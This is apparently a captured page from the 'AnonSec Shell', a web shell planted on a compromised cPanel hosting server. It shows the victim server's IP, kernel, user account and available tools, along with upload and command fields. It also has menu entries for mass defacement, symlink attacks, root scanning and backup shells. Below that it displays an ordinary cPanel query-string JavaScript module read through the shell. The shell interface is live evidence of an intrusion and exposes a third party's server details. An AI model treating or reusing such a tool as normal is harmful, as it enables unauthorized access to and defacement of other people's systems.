AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/2388322/task/2388322/cwd/frontend/jupiter/sharedjs/libraries/cjt2/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2388322/task/2388322/cwd/frontend/jupiter/sharedjs/libraries/cjt2/util/query.js
/*
# cjt/util/query.js                               Copyright(c) 2020 cPanel, L.L.C.
#                                                           All rights reserved.
# [email protected]                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
*/

/* --------------------------*/
/* DEFINE GLOBALS FOR LINT
/*--------------------------*/
/* global define: false     */
/* jshint -W089             */
/* --------------------------*/

// TODO: Add tests for these

/**
 *
 * @module cjt/util/query
 * @example
 *
 */
define(["lodash"], function(_) {
    "use strict";

    /**
     * Utility module for parsing and building querystrings.
     *
     * @static
     * @public
     * @class query
     */
    var query = {

        // Converts
        //
        //  { foo: [ 1, 2, 3] }
        //
        // to:
        //
        //  {
        //      foo:     1,
        //      "foo-1": 2,
        //      "foo-2": 3
        //  }
        //
        // This is useful for interacting with cPanel’s API.
        expand_arrays_for_cpanel_api: function( data ) {
            var my_args = {};
            for ( var key in data ) {
                if (Array.isArray(data[key])) {
                    my_args[key] = data[key][0];
                    for ( var v = 1; v < data[key].length; v++ ) {
                        my_args[key + "-" + v] = data[key][v];
                    }
                } else {
                    my_args[key] = data[key];
                }
            }

            return my_args;
        },

        // creates an HTTP query string from a JavaScript object
        // For convenience when assembling the data, we make null and undefined
        // values not be part of the query string.
        make_query_string: function( data ) {
            var query_string_parts = [];
            for ( var key in data ) {
                if ( data.hasOwnProperty(key) ) {
                    var value = data[key];
                    if ((value !== null) && (value !== undefined)) {
                        var encoded_key = encodeURIComponent(key);
                        if ( _.isArray( value ) ) {
                            for ( var cv = 0; cv < value.length; cv++ ) {
                                query_string_parts.push( encoded_key + "=" + encodeURIComponent(value[cv]) );
                            }
                        } else {
                            query_string_parts.push( encoded_key + "=" + encodeURIComponent(value) );
                        }
                    }
                }
            }

            return query_string_parts.join("&");
        },

        // parses a given query string, or location.search if none is given
        // returns an object corresponding to those values
        parse_query_string: function( qstr ) {
            if ( qstr === undefined ) {
                qstr = location.search.replace(/^\?/, "");
            }

            var parsed = {};

            if (qstr) {

                // This rejects invalid stuff
                var pairs = qstr.match(/([^=&]*=[^=&]*)/g);
                var plen = pairs.length;
                if ( pairs && pairs.length ) {
                    for (var p = 0; p < plen; p++) {

                        var key_val = _.map(pairs[p].split(/=/), decodeURIComponent);
                        var key = key_val[0].replace(/\+/g, " ");
                        if ( key in parsed ) {
                            if ( typeof parsed[key] !== "string" ) {
                                parsed[key].push(key_val[1].replace(/\+/g, " "));
                            } else {
                                parsed[key] = [ parsed[key_val[0]], key_val[1].replace(/\+/g, " ") ];
                            }
                        } else {
                            parsed[key] = key_val[1].replace(/\+/g, " ");
                        }
                    }
                }
            }

            return parsed;
        }
    };

    return query;
});

Anon7 - 2022
AnonSec Team